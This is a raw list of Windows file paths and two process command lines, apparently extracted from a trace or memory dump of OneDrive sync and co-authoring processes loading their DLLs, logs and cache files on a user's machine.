\Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0806.5016.1.aodl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0806.5016.1.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0806.5016.2.aodl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncTelemetryExtensions.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncTelemetryExtensions.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncTelemetryExtensions.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncTelemetryExtensions.dll \Device\HarddiskVolume3\Windows\System32\nsi.dll \Device\HarddiskVolume3\Windows\System32\dhcpcsvc.dll \Device\HarddiskVolume3\Windows\System32\clbcatq.dll \Device\HarddiskVolume3\Windows\System32\Windows.Networking.Connectivity.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs \Device\HarddiskVolume3\Windows\System32\npmproxy.dll \Device\HarddiskVolume3\Windows\System32\Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncClient.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncHost.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\UpdateRingSettings.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_atomic_wait.dll \Device\HarddiskVolume3\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7824_none_3e0870b2e3345462\comctl32.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncEvents.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\LogUploader.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFS.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncEvents.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncViews.dll \Device\HarddiskVolume3\Windows\System32\dwmapi.dll \Device\HarddiskVolume3\Windows\System32\UIAutomationCore.dll \Device\HarddiskVolume3\Windows\System32\winhttp.dll \Device\HarddiskVolume3\Windows\System32\xmllite.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Quick.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Gui.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\SyncEngine.dll \Device\HarddiskVolume3\Windows\System32\webservices.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5WinExtras.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Widgets.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\adal.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_1.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Network.dll \Device\HarddiskVolume3\Windows\System32\dxgi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5QmlModels.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\WnsClientApi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\WnsClientApi.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\WnsClientApi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\WnsClientApi.dll \Device\HarddiskVolume3\Windows\System32\RstrtMgr.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\libcrypto-3-x64.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\libcrypto-3-x64.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFALWB.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFALWB.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\shell32.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\ole32.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\shlwapi.dll \Device\HarddiskVolume3\Windows\System32\windows.storage.dll \Device\HarddiskVolume3\Windows\System32\version.dll \Device\HarddiskVolume3\Windows\System32\wtsapi32.dll \Device\HarddiskVolume3\Windows\System32\sspicli.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\LoggingPlatform.dll \Device\HarddiskVolume3\Windows\System32\ws2_32.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\cryptsp.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0806.5016.1.aodl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncTelemetryExtensions.dll \Device\HarddiskVolume3\Windows\System32\twinapi.appcore.dll \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncHost.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncHost.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncHost.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncHost.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncHost.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\wintrust.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\WebView2Loader.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncHost.dll \Device\HarddiskVolume3\Windows\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_6ef363983dc6ce30\GdiPlus.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncEvents.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncEvents.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncEvents.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncEvents.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncEvents.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncCxP.dll \Device\HarddiskVolume3\Windows\System32\cryptxml.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFS.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFS.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFS.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFS.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFS.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncSessions.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFS.dll \Device\HarddiskVolume3\Windows\System32\wer.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Telemetry.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Telemetry.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Telemetry.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Telemetry.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncSqlite3.dll \Device\HarddiskVolume3\Windows\System32\urlmon.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Telemetry.dll \Device\HarddiskVolume3\Windows\System32\credui.dll \Device\HarddiskVolume3\Windows\System32\ncrypt.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Qml.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Core.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\libcrypto-3-x64.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\adal.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\adal.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\adal.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\adal.dll \Device\HarddiskVolume3\Windows\System32\iertutil.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Network.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Network.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Network.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Network.dll \Device\HarddiskVolume3\Windows\System32\mpr.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_1.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_1.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_1.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_1.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_1.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\winmm.dll \Device\HarddiskVolume3\Windows\System32\d3d11.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_1.dll \Device\HarddiskVolume3\Windows\System32\propsys.dll \Device\HarddiskVolume3\Windows\System32\RstrtMgr.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\RstrtMgr.dll \Device\HarddiskVolume3\Windows\System32\RstrtMgr.dll \Device\HarddiskVolume3\Windows\System32\RstrtMgr.dll::$EA \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\WnsClientApi.dll \Device\HarddiskVolume3\Windows\System32\RstrtMgr.dll \Device\HarddiskVolume3\Windows\System32\powrprof.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\libssl-3-x64.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\libssl-3-x64.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\libssl-3-x64.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\libssl-3-x64.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\4eb6e82c-9dc8-4615-acc8-54ac47ff6585.tmp \Device\HarddiskVolume3\Windows\System32\ntasn1.dll \Device\HarddiskVolume3\Windows\System32\wscapi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal \Device\HarddiskVolume3\Windows\System32\msctf.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSNtfsWB.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSCache.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\461a3a1e-156d-415f-b655-b6bc3fc239b5.tmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Secure Preferences~RF102d9.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Secure Preferences \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Secure Preferences~RF102d9.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Secure Preferences~RF102d9.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\461a3a1e-156d-415f-b655-b6bc3fc239b5.tmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Secure Preferences \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\fc5444c7-19ea-495b-b8bb-8f3d7457b248.tmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Local State~RF10308.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSync.Resources.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSync.Resources.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSync.Resources.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSync.Resources.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSync.Resources.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\platforms\qwindows.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\platforms\qwindows.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\platforms\qwindows.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\platforms\qwindows.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\BdeUISrv.exe \Device\HarddiskVolume3\Windows\System32\wtsapi32.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\sspicli.dll \Device\HarddiskVolume3\Windows\System32\userenv.dll \Device\HarddiskVolume3\Windows\System32\sxs.dll \Device\HarddiskVolume3\Windows\System32\winsta.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll eC:\WINDOWS\System32\BdeUISrv.exe -Embedding \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\SyncEngineDatabase.db-shm \Device\HarddiskVolume3\Windows\System32\msxml6.dll Hp\E \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\en\localizable.json \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\en\localizable.json:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\en\localizable.json \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\en\localizable.json \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\en\localizable.json \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\en\localizable.json \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\en\localizable.json \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\en\localizable.json \Device\HarddiskVolume3\Windows\System32\OnDemandConnRouteHelper.dll \Device\HarddiskVolume3\Windows\System32\mswsock.dll \Device\HarddiskVolume3\Windows\System32\winnsi.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\INetCache\IE \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\INetCache\IE\container.dat \Device\HarddiskVolume3\Windows\System32\dpapi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Feeds Cache \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012026022120260222 \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuth.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuth.exe:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\Update\update.xml \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Microsoft.UI.Xaml.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Microsoft.UI.Xaml.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Microsoft.UI.Xaml.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Microsoft.UI.Xaml.dll \Device\HarddiskVolume3\Windows\System32\d2d1.dll \Device\HarddiskVolume3\Windows\System32\FWPUCLNT.DLL \Device\HarddiskVolume3\Windows\System32\InputHost.dll \Device\HarddiskVolume3\Windows\System32\CoreMessaging.dll \Device\HarddiskVolume3\Windows\System32\UiaManager.dll \Device\HarddiskVolume3\Windows\System32\Windows.Security.Authentication.Web.Core.dll \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A \Device\HarddiskVolume3\Windows\System32\vaultcli.dll \Device\HarddiskVolume3\Windows\System32\WindowManagementAPI.dll \Device\HarddiskVolume3\Windows\System32\MrmCoreR.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\Resources.pri \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\Resources.pri:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\Resources.pri \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\Resources.pri \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\Resources.pri:WofCompressedData \Device\HarddiskVolume3\Windows\System32\Windows.UI.Immersive.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\Update \Device\HarddiskVolume3\Windows\System32\DataExchange.dll e"C:\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuth.exe" -Embedding \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\TokenBroker\Cache\78c091ac6d34daa9d603629dd088840de549030f.tbres \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuth.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dum64_10.dll \Device\HarddiskVolume3\Windows\System32\apphelp.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\shell32.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\ole32.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\shlwapi.dll \Device\HarddiskVolume3\Windows\System32\windows.storage.dll \Device\HarddiskVolume3\Windows\System32\ws2_32.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\LoggingPlatform.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncHost.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncSessions.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Telemetry.dll \Device\HarddiskVolume3\Windows\System32\propsys.dll \Device\HarddiskVolume3\Windows\System32\sspicli.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\DWrite.dll \Device\HarddiskVolume3\Windows\System32\TextShaping.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\profapi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0806.8008.1.aodl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0800.6368.2.aodl 